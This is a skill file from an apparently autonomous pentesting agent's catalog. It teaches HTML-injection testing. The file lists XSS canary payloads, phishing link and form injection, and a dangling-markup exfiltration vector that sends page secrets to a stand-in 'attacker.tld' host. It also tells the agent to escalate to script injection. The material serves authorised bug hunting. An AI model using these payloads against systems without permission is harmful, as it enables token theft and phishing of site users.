henriqqw/KhaosMCP-Pentester-Agent / backend/internal/skillseed/catalog/bh-hunt-html-injection
bh-hunt-html-injection
VerifiedWhat is HTML Injection
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 4.1 KB |
SKILL.md
View on GitHub---
name: bh-hunt-html-injection
description: "What is HTML Injection"
metadata:
khaos:
tool_ids: []
wordlist_ids: []
stages: [vuln, validation]
source_type: bugHunter
source:
repository: https://github.com/elementalsouls/Claude-BugHunter
revision: main
path: skills/hunt-html-injection/SKILL.md
license: MIT
---
## What is HTML Injection
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting `<b>`, `<h1>`, `<a>`, `<img>`, or `<form>` tags is sufficient.
**To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary** — e.g. `"><img src=x onerror=alert(91234)>` or `<svg onload=alert(91234)>`. A distinctive 4+ digit number (not `alert(1)`) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
**Impact:**
- Phishing via injected `<form>` or `<a href="attacker.com">` tags
- UI defacement — `<h1>HACKED</h1>` renders visually on the page
- Credential harvesting via injected login forms
- Redirect via `<meta http-equiv="refresh">`
- Stepping stone to XSS (may be blocked by WAF on `<script>` but not `<img onerror>`)
- **Dangling-markup exfiltration** — even with `<script>` and event handlers filtered, an *unterminated* tag can capture page content that follows it. Inject `<img src='//attacker.tld/log?html=` (no closing quote/`>`); the browser treats everything up to the next `'` as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw `<` is reflected.
- **Email/notification-context injection** — a field reflected unescaped into a transactional email (signup confirmation, admin alert, support-chat transcript) renders injected `<a>`/`<img>`/dangling markup in the *recipient's* inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: <https://hackerone.com/reports/1935628>, <https://hackerone.com/reports/3556892>.
## Attack Surface
Any input that is reflected or stored and then displayed in an HTML context:
- Search boxes (`?q=`)
- Comments, feedback, reviews
- Profile fields (name, bio, username)
- Error messages (`?error=`, `?message=`)
- Subject / body of contact forms
- Admin-visible fields (ticket titles, usernames in logs)
## Autonomous Testing Priority
**Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.**
**Pattern 1 — Basic HTML tag injection:**
```
<b>CANARY</b>
"><b>CANARY</b>
```
Use a unique string as CANARY (something distinct to this test run). **Proof:** the response contains `<b>CANARY` with literal `<` angle brackets — not `<b>CANARY`. A properly encoded app would escape `<` to `<`.
**Try multiple tag types when `<b>` is filtered:**
- `<h1>CANARY</h1>` — heading tag (often less filtered)
- `<img src=x onerror=CANARY>` — attribute context
- `<a href="https://attacker.com">click</a>` — link injection (phishing proof)
**For stored injection:** inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
**Escalate immediately:** if `<b>` injection works, try `<script>alert(1)</script>` — the same unsanitised input may allow full XSS.
## Proof
Confirmed when your injected tag appears in the response body with literal `<` angle brackets (not HTML-encoded). A safe app renders `<b>CANARY</b>`; a vulnerable app renders `<b>CANARY</b>`.
## Distinguishing HTML Injection from XSS
- HTML injection: `<b>text</b>` renders as **text** in the browser — no JS execution needed.
- XSS: `<script>alert(1)</script>` executes JavaScript.
Some WAFs block `<script>` but pass `<b>` or `<img>` — start with non-script tags, then escalate.Related skills
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